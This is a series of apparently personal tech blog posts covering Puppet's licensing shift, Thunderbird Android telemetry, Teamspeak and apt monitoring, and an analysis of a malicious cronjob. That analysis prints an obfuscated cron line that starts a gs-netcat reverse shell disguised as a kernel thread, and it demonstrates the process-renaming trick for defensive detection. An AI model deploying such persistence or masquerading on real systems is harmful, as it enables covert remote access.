Feuerfest

Photo by Pixabay: https://www.pexels.com/photo/computer-screen-turned-on-159299/

This one came unexpected. Puppetlabs, the company behind the configuration management software Puppet, was purchased by Perforce Software in 2022 (and renamed to "Puppet by Perforce") and now, in November 2024 we start to see the fallout of this.

As Puppetlabs announced on November 7th 2024 in a blogpost they are, to use an euphemism: "Moving the Puppet source code in-house."

Or in their words (emphasizes by me):

In early 2025, Puppet will begin to ship any new binaries and packages developed by our team to a private, hardened, and controlled location. Our intention with this change is not to limit community access to Puppet source code, but to address the growing risk of vulnerabilities across all software applications today while continuing to provide the security, support, and stability our customers deserve.

They then go on in length to state why this doesn't affect customers/the community and that the community still can get access to that private, hardened and controlled location via a separate "development license (EULA)". However currently no information about the nature of that EULA is known and information will be released in early 2025 so after the split was made.

To say it bluntly: I call that bullshit. The whole talk around security and supply-chain risks is non-sense. If Puppet really wanted to enhance the technical security of their software product they could have achieved so in a myriad of other ways.

• Like integrating a code scanner into their build pipelines
• Doing regular code audits (with/from external companies)
• Introducing a four-eyes-principle before commits are merged into the main branch
• Participating in bug-bounty programs
• And so on...

There is simply no reason to limit the access to the source-code to achieve that goal. (And I am not even touching the topic of FUD or how open source enables easier & faster spotting of software defects/vulnerabilities.) Therefore this can only be viewed as a straw-man fallacy type of expression to masquerade the real intention. I instead see it as what it truly is: An attempt to maximize revenue. After all Perforce wants to see a return for their investment. And as fair as this is, the "how" lets much to be desired...

We already have some sort-of proof. Ben Ford, a former Puppet employee wrote a blogpost Everything is on fire.... in mid October 2024 stating his negative experience with the executives and vice-presidents of Puppet he made in 2023 when he tried to explain the whole community topic to them (emphasizes by me):

"I know from personal experience with the company that they do not value the community for itself. In 2023, they flew me to Boston to explain the community to execs & VPs. Halfway through my presentation, they cut me off to demand to know how we monetize and then they pivoted into speculation on how we would monetize. There was zero interest in the idea that a healthy community supported a strong ecosystem from which the entire value of the company and product was derived. None. If the community didn’t literally hand them dollars, then they didn’t want to invest in supporting it."

I find that astonishing. Puppet is such a complex piece of configuration management software and has so many community-developed tools supporting it (think about g10k) that a total neglect of everything the community has achieved is mind-blowingly short-sighted. Puppet itself doesn't manage to keep up with all the tools they have released in the past. The ways of tools like Geppetto or the Puppet Plugin for IntellJ IDEA speak for themselves. Promising a fully-fledged Puppet IDE based on Eclispe and then letting it rot? No official support from "Puppet by Perforce" for one of the most used and commercially successful integrated development environment (IDE)? Wow. This is work the community contributes. And as we now know Puppet gives a damn about that. Cool.

EDIT November 13th 2024: I forgot to add some important facts regarding Puppets' ecosystem and the community:

• The official Puppetserver and PuppetDB container images were abandoned by Puppet Inc. in 2023 (source: A Dockerhub search for Puppet). Yes, you read that right. Puppet decided they don't have to offer official Puppet container images themselves. Effectively abandoning the most important trend/technology in IT in the last 10 years? Instead Martin Alfke's Betadot GmbH made sure to provide them  (I can wholeheartedly recommend his Puppet Trainings and Services) . They are now available as voxpupuli/puppetserver and voxpupuli/puppetdb.
• The PuppetBoard, a web dashboard granting you insight into all the facts and values the Puppet Agent gathers from all it's clients and stores in the PuppetDB? Maintained by the voxpupuli community.
  
  • It's a somewhat ironic/sarcastic joke that many customers instead use Foreman for this. The Foreman which RedHat contributes their in-house developers to, to work on Foreman.
• The PuppetForge? The repository serving the Puppet Modules for the Puppetserver. Yes, the puppet_forge Ruby Gem is maintained by Puppet (ia-content is Puppets' Information Architecture Content Team) - but if you want something more user-friendly like a WebFrontend? You are out of luck. Created by someone, but unmaintained for 10 years. Partly because the maintainer got kicked out of the GitHub organization - which shows another problem with company-run projects if the knowledge/workload isn't properly distributed.
  • Recently a fork named gorge (PuppetForge written in Go) was created but it's too early to say anything about that. Also I'm unsure if it will contain a WebFrontend allowing easy administration access for people not that well-versed in Ruby/Git/Puppet.

I consider at least the container images to be of utmost priority for many customers. And neglecting all important tools around your core-product isn't going to help either. These are exactly the type of requirements customers have/questions they ask.

• How can we run it ourself? Without constantly buying expensive support.
• How long will it take until we build up sufficient experience?
• What technology knowledge do our employees need in order to provide a flawless service?
• How can we ease the routine tasks? / What tools are there to help us during daily business?

Currently Puppet has a steep learning curve which is only made easier thanks to the community. And now we know Perforce doesn't see this as any kind of addition to their companies' value. Great.

EDIT END

The most shocking part for myself was: That the Apache 2.0 license doesn't require that the source code itself is available. Simply publishing a Changelog should be enough to stay legally compliant (not talking about staying morally compliant here...). And as he pointed out in another blogpost from November 8th, 2024 there is reason they cannot change the license (emphasizes by me to match the authors'):

"But here’s the problem. It was inconsistently maintained over the history of the project. It didn’t even exist for the first years of Puppet and then later on it would regularly crash or corrupt itself and months would go by without CLA enforcement. If Perforce actually tried to change the license, it would require a long and costly audit and then months or years of tracking down long-gone contributors and somehow convincing them to agree to the license change.

I honestly think that’s the real reason they didn’t change the license. Apache 2 allows them to close the source away and only requires that they tell you what they changed. A changelog might be enough to stay technically compliant. This lets them pretend to be open source without actually participating."

I absolutely agree with him. They wanted to go closed-source but simply couldn't as previously they never intended to. Or as someone on the internet said: "Luckily the CLA is ironclad." So instead they did what was possible and that is moving the source-code to an internal repository. Using that as the source for all official Puppet packages - but will we as Community still have access to those packages?

For me, based on how the blogpost is written, I tend to say: No. Say goodbye to https://yum.puppetlabs.com/ and https://apt.puppetlabs.com/. Say goodbye to an easy way of getting your Puppet Server, Agent and Bolt packages for your Linux distribution of choice.

Update 15th November 2024: I asked Ben Ford in one of his Linkedin posts if there is a decision regarding the repositories and he replied with: "We will be meeting next week to discuss details. We'll all know a bit more then." As good as it is that this topic isn't off the table it still adds to the current uncertainty. Personally I would have thought that those are the details you finalize before making such an announcement.. But ah well, everyone is different.. Update End

A myriad of new problems

This creates a myriad of new problems.

1. We will see a breakline between "Puppet by Perforce"-Puppet packages and Community-packages in technical compatibility and, most likely, functionality too.

This mostly depends on how well Puppet contributes back to the Open Source repository and/or how well-written the Changelog is and regarding that I invite you to check some of their release notes for new Puppet server versions (Puppet Server 7 Release Notes / Puppet Server 8 Release Notes) although it got better with version 8... Granted they already stated the following in their blogpost (emphasizes by me):

We will release hardened Puppet releases to a new location and will slow down the frequency of commits of source code to public repositories.

This means customers using the open source variant of Puppet will be in somewhat dangerous waters regarding compatibility towards the commercial variant and vice-versa. And I'm not speaking about the inter-compatibility between Puppet servers from different packages alone. Things like "How the Puppet CA works" or "How are catalogues generated" etc. Keep in mind: Migrating from one product to the other can also get significantly harder.

This could even affect Puppet module development in case the commercial Puppet server contains resource types the community based one doesn't or does implement them slightly different. This will affect customers on both sides badly and doesn't make a good look for Puppet. Is Perforce sure this move wasn't sponsored by RedHat/Ansible? Their biggest competitioner?

2. Documentation desaster

As bad as the state of Puppet documentation is (I find it extremely lacking in every aspect) at least you have one and it's the only one. Starting 2025 we will have two sets of documentation. Have fun working out the kinks..

Additionally documentation wont get better. Apparently this source states that "Perforce actually axed our entire Docs team!" How good will a Changelog or the documentation be when it's nobody's responsibility?

3. Community provided packages vs. vendor packages

Nearly all customers I worked at have some kind of policy regarding what type of software is allowed on a system and how that is defined. Sometimes this goes so far as "No community supported software. Only software with official vendor support". Starting 2025 this would mean these customers would need to move to Puppet Enterprise and ditch the community packages. The problem I foresee is this: Many customers already use Ansible in parallel and most operations teams are tired having to use two configuration management solutions. This gives them a strong argument in favour of Ansible. Especially in times of economic hard-ship and budget cuts.

But again: Having packages from Puppet itself at least makes sure you have the same packages everywhere. In 2025 when the main, sole and primary source for those packages goes dark numerous others are likely to appear. Remember Oracles' move to make the Oracle JVM a paid-only product for commercial use? And how that fostered the creation of dozens of different JVMs? Yeah, that's a somewhat possible scenario for the Puppet Server and Agent too. Although I doubt we will ever see more than 3-4 viable parallel solutions at anytime given the amount of work and that Puppet isn't that widely required as a JVM is. Still this poses a huge operational risk for every customer.

4. Was this all intentional?

I'm not really sure if Perforce considered all this. However they are not stupid. They sure must see the ramifications of their change. And this will lead to customers asking themself ugly questions. Questions like: "Was this kind of uncertainty intentional?" This shatters trust on a basic level. Trust that might never be retained.

5. Community engagement & open source contributors

Another big question is community engagement. We now have a private equity company which thinks nothing about the community and the community knows this. There is already a drop in activity since the acquisition of Puppet by Perforce. I think this trend will continue. After all, with the current situation we will have a "We take everything from the community we want, but decide very carefully what and if we are giving anything back in return." This doesn't work for many open source contributors. And it is the main reason why many will view Puppet as being closed source from 2025 onward. Despite being technically still open source - but again the community values moral & ethics higher than legal correctness.

So, where are we heading?

Personally I wouldn't be too surprised if this is the moment where we are looking back to in the future and say: "This is the start of the downfall. This is when Puppet became more and more irrelevant until it's demise." As my personal viewpoint is that Puppet lacked vision and discipline for some years. Lot's of stuff was created, promoted and abandoned. Lot's of stuff was handed-over to the community to maintain it. But still the ecosystem wasn't made easier, wasn't streamlined. Documentation wasn't as detailed as it should be. Tools and command-line clients lacked certain features you'd have to work around yourself. And so on.. I even ditched Puppet for my homelab recently in favour of Ansible. The overhead I had to carry out to keep it running, the work on-top which was generated by Puppet itself, just to keep it running. Ansible doesn't have all of that.

In my text Get the damn memo already: Java11 reached end-of-life years ago I wrote:

If you sell software, every process involved in creating that piece of software should be treated as part of your core business and main revenue stream. Giving it the attention it deserves. If you don't, I'm going to make a few assumptions about your business. And those assumptions won't be favourable.

And this includes the community around your product. Especially more so for open source software.

Second I won't be surprised if many customers don't take the bite, don't switch to a commercial license, ride Puppet as long as it is feasible and then just switch to Ansible.

Maybe we will also see a fork. Giving the community the possibility to break with Puppet functionality. Not having to maintain compatibility any longer.

Time will tell.

New developments

This was added on November 15th: There are now the first commnity-build packages available. So looks like a fork is happening.

Read: https://overlookinfratech.com/2024/11/13/fork-announce/

EDIT: A newer post regarding the developments around the container topic and fork is here: Puppet is dead. Long live OpenVox!

Photo by Pixabay: https://www.pexels.com/photo/red-pencil-on-top-of-white-window-envelope-236713/

I had already forgotten that Mozilla bought K9-Mail in June 2022 in order to transform K9-Mail into Thunderbird on Android. Now I was reminded again as on October 30th 2024 the first Android version of Thunderbird was released.

However the initial beta releases were accompanied by a little bit of drama regarding the data privacy topic. As the first releases of the Thunderbird App contained telemetry trackers from Mozilla and those were enabled by default (Opt-Out instead of the more data privacy friendly Opt-In). Additionally the user wasn't made aware of this during the install and configuration process.

These facts became aware to many users through the following GitHub Issue: Thunderbird Issue 8199: Expose the ability to mange Telemetry settings on first-time use where the reporter just stated in a factual way that he expects these settings to be off initially.

However the first reply to that issue didn't make things better. Apparently a Senior Manager/Mobile Engineering at MZLA Technologies Corporation, the subsidiary of the Mozilla Corporation of which Thunderbird is now a part of, wrote the following as a reply:

Unfortunately we cannot make this type of data collection opt-in because the limited data from voluntary reports wouldn’t provide enough insights to make informed product decisions. Opt-in data would come from a small, biased subset, leading to flawed conclusions.

Knowing the Android ecosystem covers a vast range of hardware and form factors, we need to have a mechanism to make better decisions on how features are being used, and have information in which environments user might be having trouble.

In line with Mozilla’s data practices, the default data collected contains no personal information. This helps us understand how features are used and where issues may occur, while minimizing data points and retaining only what's necessary. When we decide on new probes, we actively consider if we really need the information, and if there are ways we could reduce the needed retention time or scope.

While I can't offer an opt-in at this time, I understand your concerns and genuinely appreciate that you're thinking critically about privacy. You might also be interested in a recent talk about our need for privacy respecting telemetry. https://blog.thunderbird.net/2024/08/thunderbird-goes-to-guadec-2024/

This again sparked a lot of comments who can be sorted into the following categories:

1. Disappointment that an application developed by Mozilla uses such shady practises. Along with criticism that users are not informed about this and there are no information on what type of information is gathered and how it is used.
2. Notices on the various laws forbidding such data collection (especially the GDPR from the EU).
3. Sadness that while K9-Mail was tracker free, Thunderbird obviously won't. Which disappoints many data privacy focused users.

Or as someone, sarcastically, pointed out on Mastodon (Source):

How could K-9 be developed and become the best email app for Android, and even make ‘informed product decisions’ without a tracker? Sarcasm over.

With the 8.0b2 release that feature was removed and will, hopefully, be reworked in a more user-consenting way.

Personally I am also very disappointed and my anticipation has taken a huge blow. Mozilla once stood as a beacon of user-centred interests. And while I wholeheartedly agree that they should be able to get usage metrics I too want this to happen in an open and consenting way. Enabling the user to actually make a choice and inform me about the nature of the data being transmitted.

Other resources

There is an FAQ what will happen to K9-Mail and Thunderbird in the future: https://blog.thunderbird.net/2022/06/faq-thunderbird-mobile-and-k-9-mail/

The roadmap can be found here: https://developer.thunderbird.net/planning/android-roadmap

Photo by cottonbro studio: https://www.pexels.com/photo/woman-sitting-on-the-floor-among-laptops-and-tangled-cables-and-wearing-goggles-8721343/

Just a short note as no one seems to really mention this. If you want to monitor your Teamspeak 3 server with Icinga2 (or Nagios or any other compatible monitoring system): check_teamspeak3 from xicon.eu / xiconfjs still works flawlessly despite the fact that the "Last commit" being 3 years old.

A little bit of background, or: UDP monitoring is hard

Teamspeak 3 - being a voice chat - utilizes UDP for most of it's services. Understandably as speed is key in providing enjoyable voice communications and simultaneously it can cope well with a few lost packets.

This however is the main problem in monitoring. With TCP you can open a simple TCP-Connect and if the port is open assume that your service is working. With UDP: You can't as UDP won't give you any feedback if any your packets were received as UDP in its entirety lacks the "Transmission Control" part of TCP in favour of faster packet sending/progressing. Therefore you have to send a request that provokes an reply and thus enables you to check that reply against your expected "Known good/working" reply.

This means that you must delve into the depths of a protocol in order to know what your packets must include. And this is the part where it often gets complicated, time-consuming and cumbersome. More often than not people rather went with a "Let's just check if the process is running." or "If the application opens a TCP-port too, let's just check that one." solution.

I however wanted a detailed check and check_teamspeak3 exactly does this. It connects to the voice datagram port and sends the appropriate encoded UDP packets and checks the result. Et voilà we have a monitoring check that really checks the working condition.

Thanks xiconfjs!

Alternatives

For those coming here in order to search for other ways to monitor Teamspeak 3: You can of course do one of the following:

• Check if the Teamspeak process is running
• Examine the list of locally opened ports and check if the ports are in listening mode (lsof, netstat, etc.)
• Expose the serverquery port and do your checks via commands (see: https://community.teamspeak.com/t/how-to-use-the-server-query/25386)
• The FileTransfer part of Teamspeak uses a TCP port, you could verify that this port is open with a simple check_tcp servicecheck

Photo by George Becker: https://www.pexels.com/photo/1-1-3-text-on-black-chalkboard-374918/

Someone on the Internet asked on Reddit what this CronJob does, as it looked strange.

{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random

And for most people in that subreddit several things were immediately obvious:

1. The commands are obfuscated by encoding them in base64. Are very common method to - sort of - hide malicious contents
2. As such this is, most likely, a harmful, malicious CronJob not created by a legitimate user of that system
3. The person asking lacks basic Linux knowledge as the |base64 -d|bash; part clearly states that the base64-string is decoded and piped into a bash process to be executed
   • Anyone with basic knowledge would simply have taken the string and piped it into base64 -d retrieving the decoded string for further analysis without executing it.

And if we do exactly that, we get the following decoded string:

user@host:~ $ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d
/usr/bin/pkill -0 -U1004 gs-dbus 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/admin/www/gs-dbusdata -liqD" /usr/bin/bash -c "exec -a '[kcached]' '/home/admin/www/gs-dbus'" 2>/dev/null

With these commands do is explained fairly simple. pkill checks (the -0 parameter) if a process named gs-dbus is already running under the user ID 1004. If a process is found pkill exits with 0 and everything after the || (logical OR) is not executed.

The right part of the OR is only executed when pkill exits with a 1 as no process named gs-dbus is found. On the right part there are a few environment variables and parameters being set and the process is started via the /home/admin/www/gs-dbus binary and then renamed into [kcached].

And while this explains what the CronJob does technically, it still doesn't explain what gs-dbus is or does. Based on experience something malicious, but what precise?

Now another person explained that it is the gs-dbus service from Gnome being started, if it isn't already running and claimed it being probably safe. Why this person came to this conclusion is beyond me. Probably because https://gitlab.gnome.org/GNOME/gnome-software/-/blob/main/src/gs-dbus-helper.c shows up as a result if you just search for gs-dbus. But again this person oversaw some critical pieces of information.

And this made me taking my time to write this little blogpost about how to approach such situations.

As there are some crucial pieces of evidence which immediately tell me that this is not a legitimate piece of software.

1. Base64 encoded hashes which get executed via bash are almost never doing anything good
   • This is just obfuscation and that isn't needed if you are doing something normal like restarting a service or the like
2. If that software really belongs to Gnome you have Systemd unit-Files or Timers. Or if that is a system without Systemd: You got good old init. But then again there would, most likely, be some kind of Gnome sub-process started by Gnome itself and not some obfuscated CronJob
   • Additionally the person stated that the machine is a server. And GUIs on servers are rather rare.
3. Renaming the processname to [kcached] makes it look like a kernel level thread. If there is an equivalent to "World biggest warning sign" this is it.
4. The binary being started is /home/admin/www/gs-dbus. You notice www as being the folder where the binary is stored? Yeah, this is always an indicator that files in that folder are reachable via a Webserver. Hence I assume that /home/admin/www/ hosts some vulnerable web application and this was the entry point for the malicious software & CronJob.

As what the person missed is: Processes in square brackets are always kernel level threads, running as root and have a Parent Process ID (PPID) of 2. This means someone is renaming a process started by a non-root user to look like a kernel level thread. Obviously to feint the users and security mechanisms of that system. There is no legitimate reason to do so.

Would you investigate further or even kill that process when some scanning software reports a kernel level thread? Well, the obvious answer is: Of course, YES! But far too many inexperienced users won't.

All processes with [] around them are started by kthreadd - the Kernel Thread Daemon. kthreadd itself is started by the kernel during boot.

Therefore we have 3 truths about kernel level threads:

1. They will always have the process ID 2 as their parent process ID (PPID)
2. They will always run as root, never as a user
3. They will always be started by [kthreadd] itself

Lets take a look at the following ps output from one of my Debian systems. I make it quick & dirty and simply grep for all processes with a [ in it.

user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
      2       0 root     kthreadd        [kthreadd]
      3       2 root     rcu_gp          [rcu_gp]
      4       2 root     rcu_par_gp      [rcu_par_gp]
      5       2 root     slub_flushwq    [slub_flushwq]
      6       2 root     netns           [netns]
      8       2 root     kworker/0:0H-ev [kworker/0:0H-events_highpri]
     10       2 root     mm_percpu_wq    [mm_percpu_wq]
     11       2 root     rcu_tasks_kthre [rcu_tasks_kthread]
     12       2 root     rcu_tasks_rude_ [rcu_tasks_rude_kthread]
     13       2 root     rcu_tasks_trace [rcu_tasks_trace_kthread]
     14       2 root     ksoftirqd/0     [ksoftirqd/0]
     15       2 root     rcu_preempt     [rcu_preempt]
     16       2 root     migration/0     [migration/0]
     18       2 root     cpuhp/0         [cpuhp/0]
     19       2 root     cpuhp/1         [cpuhp/1]
     20       2 root     migration/1     [migration/1]
     21       2 root     ksoftirqd/1     [ksoftirqd/1]
     23       2 root     kworker/1:0H-ev [kworker/1:0H-events_highpri]
     24       2 root     cpuhp/2         [cpuhp/2]
     25       2 root     migration/2     [migration/2]
     26       2 root     ksoftirqd/2     [ksoftirqd/2]
     28       2 root     kworker/2:0H-ev [kworker/2:0H-events_highpri]
     29       2 root     cpuhp/3         [cpuhp/3]
     30       2 root     migration/3     [migration/3]
     31       2 root     ksoftirqd/3     [ksoftirqd/3]
     33       2 root     kworker/3:0H-ev [kworker/3:0H-events_highpri]
     38       2 root     kdevtmpfs       [kdevtmpfs]
     39       2 root     inet_frag_wq    [inet_frag_wq]
     40       2 root     kauditd         [kauditd]
     41       2 root     khungtaskd      [khungtaskd]
     42       2 root     oom_reaper      [oom_reaper]
     43       2 root     writeback       [writeback]
     44       2 root     kcompactd0      [kcompactd0]
     45       2 root     ksmd            [ksmd]
     46       2 root     khugepaged      [khugepaged]
     47       2 root     kintegrityd     [kintegrityd]
     48       2 root     kblockd         [kblockd]
     49       2 root     blkcg_punt_bio  [blkcg_punt_bio]
     50       2 root     tpm_dev_wq      [tpm_dev_wq]
     51       2 root     edac-poller     [edac-poller]
     52       2 root     devfreq_wq      [devfreq_wq]
     54       2 root     kworker/0:1H-kb [kworker/0:1H-kblockd]
     55       2 root     kswapd0         [kswapd0]
     62       2 root     kthrotld        [kthrotld]
     64       2 root     acpi_thermal_pm [acpi_thermal_pm]
     66       2 root     mld             [mld]
     67       2 root     ipv6_addrconf   [ipv6_addrconf]
     72       2 root     kstrp           [kstrp]
     78       2 root     zswap-shrink    [zswap-shrink]
     79       2 root     kworker/u9:0    [kworker/u9:0]
    123       2 root     kworker/1:1H-kb [kworker/1:1H-kblockd]
    133       2 root     kworker/2:1H-kb [kworker/2:1H-kblockd]
    152       2 root     kworker/3:1H-kb [kworker/3:1H-kblockd]
    154       2 root     ata_sff         [ata_sff]
    155       2 root     scsi_eh_0       [scsi_eh_0]
    156       2 root     scsi_tmf_0      [scsi_tmf_0]
    157       2 root     scsi_eh_1       [scsi_eh_1]
    158       2 root     scsi_tmf_1      [scsi_tmf_1]
    159       2 root     scsi_eh_2       [scsi_eh_2]
    160       2 root     scsi_tmf_2      [scsi_tmf_2]
    173       2 root     kdmflush/254:0  [kdmflush/254:0]
    175       2 root     kdmflush/254:1  [kdmflush/254:1]
    209       2 root     jbd2/dm-0-8     [jbd2/dm-0-8]
    210       2 root     ext4-rsv-conver [ext4-rsv-conver]
    341       2 root     cryptd          [cryptd]
    426       2 root     ext4-rsv-conver [ext4-rsv-conver]
 141234       1 root     sshd            sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
 340800       2 root     kworker/0:0-cgw [kworker/0:0-cgwb_release]
 341004       2 root     kworker/1:1-eve [kworker/1:1-events]
 341535       2 root     kworker/1:2     [kworker/1:2]
 341837       2 root     kworker/2:0-mm_ [kworker/2:0-mm_percpu_wq]
 342029       2 root     kworker/2:1     [kworker/2:1]
 342136  141234 root     sshd            sshd: user [priv]
 342266       2 root     kworker/0:1-eve [kworker/0:1-events]
 342273       2 root     kworker/u8:0-fl [kworker/u8:0-flush-254:0]
 342274       2 root     kworker/3:0-ata [kworker/3:0-ata_sff]
 342278       2 root     kworker/u8:3-ev [kworker/u8:3-events_unbound]
 342279       2 root     kworker/3:1-ata [kworker/3:1-ata_sff]
 342307       2 root     kworker/u8:1-ev [kworker/u8:1-events_unbound]
 342308       2 root     kworker/3:2-eve [kworker/3:2-events]
 342310  342144 user     grep            grep --color=auto \[

Notice something?

There are only 4 processes not having a PPID of 2.

user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
      2       0 root     kthreadd        [kthreadd]
 141234       1 root     sshd            sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
 342136  141234 root     sshd            sshd: user [priv]
 342310  342144 user     grep            grep --color=auto \[

One is [kthreadd] who acutally owns PID 2 and got started by PPID 0, second is my grep command and two others are from the sshd but only the [kthreadd] is actually enclosed in square brackets as it doesn't contain any commandline.

I can start a sleep process and rename it to [kswapd0], similar to what the CronJob would do. It will then show up as [kswapd0], but note that it highly depends on which command-line arguments you use when executing ps. I did choose [kswapd0] as my system doesn't have a [kcached] process and I do want to be able show the difference between a legitimate kernel thread and a fake one.

In fact I'll also start a second renamed process using setsid. This serves to demonstrate that the approach "I can spot the malicious processes via the associated terminal device" is wrong. Which is a fallacy one can sometimes read on the internet.

# Starting sleep with a 200 second timer and renaming it to kswapd0
root@host:~# /usr/bin/bash -c "exec -a [kswapd0] sleep 200 &"

# Starting a second sleep with a 300 second timer, renaming it to kswapd1. For better differentiation.
# Additionally we use setsid, so the process isn't running under our pts/1 terminal
root@host:~# setsid /usr/bin/bash -c "exec -a [kswapd1] sleep 300 &"

# Using various ps arguments and grep'ing for sleep and kswap
root@host:~# ps -ef |grep -i -e sleep -e kswap
root          71       2  0 Nov22 ?        00:00:00 [kswapd0]
root        9698       1  0 19:51 pts/1    00:00:00 [kswapd0] 200
root        9701       1  0 19:52 ?        00:00:00 [kswapd1] 300
root        9704    9204  0 19:52 pts/1    00:00:00 grep --color=auto -i -e sleep -e kswap
root@host:~# ps auxw |grep -i -e sleep -e kswap
root          71  0.0  0.0      0     0 ?        S    Nov22   0:00 [kswapd0]
root        9698  0.0  0.0   5580  2028 pts/1    S    19:51   0:00 [kswapd0] 200
root        9701  0.0  0.0   5580  2128 ?        S    19:52   0:00 [kswapd1] 300
root        9706  0.0  0.0   6528  2388 pts/1    S+   19:52   0:00 grep --color=auto -i -e sleep -e kswap

In the example above no sleep process will be found and our process is displayed as [kswapd0] 200. For the sake of being a demonstration we can ignore the 200 as an attacker will just use a command without any arguments. I just used sleep as it was the first usable command in this example which came to my mind.

Also we see that [kswapd1] isn't associated to a terminal.

However this whole trick is rather easy to spot. Let's just assume we suspect that the [kswapd0] process is suspicious. How to check? Well, by displaying the COMM column. Here the value is taken directly from /proc/$pid/comm, which takes its value from the kernel when a new process is spawned.

root@host:~# ps -eo pid,ppid,user,comm,args |grep -i -e kswapd
     71       2 root     kswapd0         [kswapd0]
   9735       1 root     sleep           [kswapd1] 300
   9772       1 root     sleep           [kswapd0] 200
   9774    9204 root     grep            grep --color=auto -i -e kswapd

And now we at least see the real command being executed, with the arguments at the end of the line. And again, note the PPID doesn't equal 2 for both renamed processes.

htop to the rescue!

Even htop can be used to defend against this scenario. You need to enable one thing, but I add a second one just for convenience. The display of the comm string. This will show the string of the process based on /proc/$pid/comm. Which in this scenario still holds the original name. Alas this can be defeated easily by simply not renaming the process, so take this with a grain of salt.

The second is the display of kernel threads. These are normally omitted, but knowing my brain I do know that having the kthreadd process appear in the list, with all according kernel level processes/threads makes it impossible to fall for this renaming shenanigans. Preventing my brain from going: "Oh, [kcached]. Yeah that's fine. It's a kernel thread." As I'm not seeing any other Kernel processes despite knowing that they are there - just not being shown..

1. To add the display of the comm string, do the following:
   • F2 for Setup
   • Scroll down to Screens
   • Use right arrow key to navigate to Available Columns
   • Down arrow until you hit the line with: COMM - comm string of the process from /proc/[pid]/comm
   • Press F5 to add COMM to the Active Columns
   • Press F10 to exit, or:
   • Use the left arrow to navigate back to Active Columns
   • Use F7 and F8 to sort the COMM column where you want to have it
     • I usually display it at the very end of the list
2. To display kernel threads, do the following:
   • F2 for Setup
   • Right arrow to Display options
   • Uncheck Hide kernel threads by pressing space or enter
   • F10 to exit

Now both of our sleep processes, renamed as [kswapd0] and [kswapd1] will show up in the following way. Make it very obvious it's a process spawned under the root user and having nothing to do with [kthreadd]. First because it's not sorted under kthreadd, second because the keyword KTHREAD, added by the COMM column is missing, third because the real process name (sleep) is shown.

Yes, there is also the 200 and 300 argument shown belonging to [kswapd0] and [kswapd1]. But in reality the evil people will just start their process without any arguments or pass them via other ways, not showing up in a ps output.

The grey fields are just the omitted local user name. 😅

Click to enlarge in a new window.

Conclusion

And this is why basics are so important. Do not just assume a software is doing nothing bad as "There is some piece of legitimate software out there on the Internet sharing the same name". Anyone can lie. And the bad people most likely are.

If we now use all our knowledge, we can take that to a search engine of our liking and will find the following result: https://raw.githubusercontent.com/hackerschoice/gsocket/master/deploy/deploy.sh. Turns out it's a script to start a permanent gs-netcat reverse login shell. And while the script and gs-netcat for themselves or not malicious per-default, the way it is brought into action here definitely is.

Photo by Pixabay: https://www.pexels.com/photo/software-engineers-working-on-computers-256219/

During my series about unattended-upgrades (Part 1, Part 2) I noticed that a Debian Mirror I use was unresponsive for 22 days but I had nothing to notify me of this. As this also meant that unattended-upgrades didn't apply any patches I wanted a check for this which in turn will trigger unattended-upgrades when there are outstanding updates.

The problem

The monitoring-plugins provide the check_apt plugin. This is normally used to check for available packages. However, in the default configuration it doesn't execute an apt-get update as this requires root privileges. Personally I think the risk is worth the gain. As adding the -u parameter will execute an apt-get update and therefore check_apt will notify you when apt-get update finishes with a non-zero exit-code.

Take the following problem:

root@host:~# apt-get update
Hit:1 http://security.debian.org/debian-security bookworm-security InRelease
Hit:2 http://debian.tu-bs.de/debian bookworm InRelease
Get:3 http://debian.tu-bs.de/debian bookworm-updates InRelease [55.4 kB]
Reading package lists... Done
E: Release file for http://debian.tu-bs.de/debian/dists/bookworm-updates/InRelease is expired (invalid since 16d 0h 59min 33s). Updates for this repository will not be applied.

A mere check_apt wont notify you of any problems:

root@host:~# /usr/lib/nagios/plugins/check_apt
APT CRITICAL: 12 packages available for upgrade (12 critical updates). |available_upgrades=12;;;0 critical_updates=12;;;0

Making this go undetected.

Executed with the -u parameter however, we are notified of the problem:

root@host:~# /usr/lib/nagios/plugins/check_apt -u
'/usr/bin/apt-get -q update' exited with non-zero status.
APT CRITICAL: 12 packages available for upgrade (12 critical updates).  warnings detected, errors detected.|available_upgrades=12;;;0 critical_updates=12;;;0

The solution

Fixing this via Icinga is however a bit more complicated, as the standard apt CheckCommand from the Icinga Template Library (ITL) doesn't include the -u option and isn't prefixed to use sudo despite root privileges being needed. This can be checked here: https://github.com/Icinga/icinga2/blob/master/itl/command-plugins.conf#L2155 or in your local /usr/share/icinga2/include/command-icinga.conf if you happen to use Icinga.

The root cause is also the number one main problem I have with the check_apt CheckPlugin. check_apt is designed to actually install package updates when check_apt reports outstanding available updates. This however breaks the number one paradigm I have regarding monitoring systems: They should not modify the system on their own. And when they do, they should do it in the same way as it is normally done. check_apt breaks this.

Maybe that person should have read a blog article about unattended-upgrades prior to writting that plugin? 😜

Normally you utilize Event Commands for that type of scenario: "If service X is in state Y execute event command Z."

The CheckCommand check_apt_update

Therefore I recommend creating your own apt_update CheckCommand and using that.

object CheckCommand "check_apt_update" {
        command = [ "/usr/bin/sudo", + PluginDir + "/check_apt" ]

        arguments = {
                "-u" = {
                        description = "Perform an apt-get update"
                }
        }
}

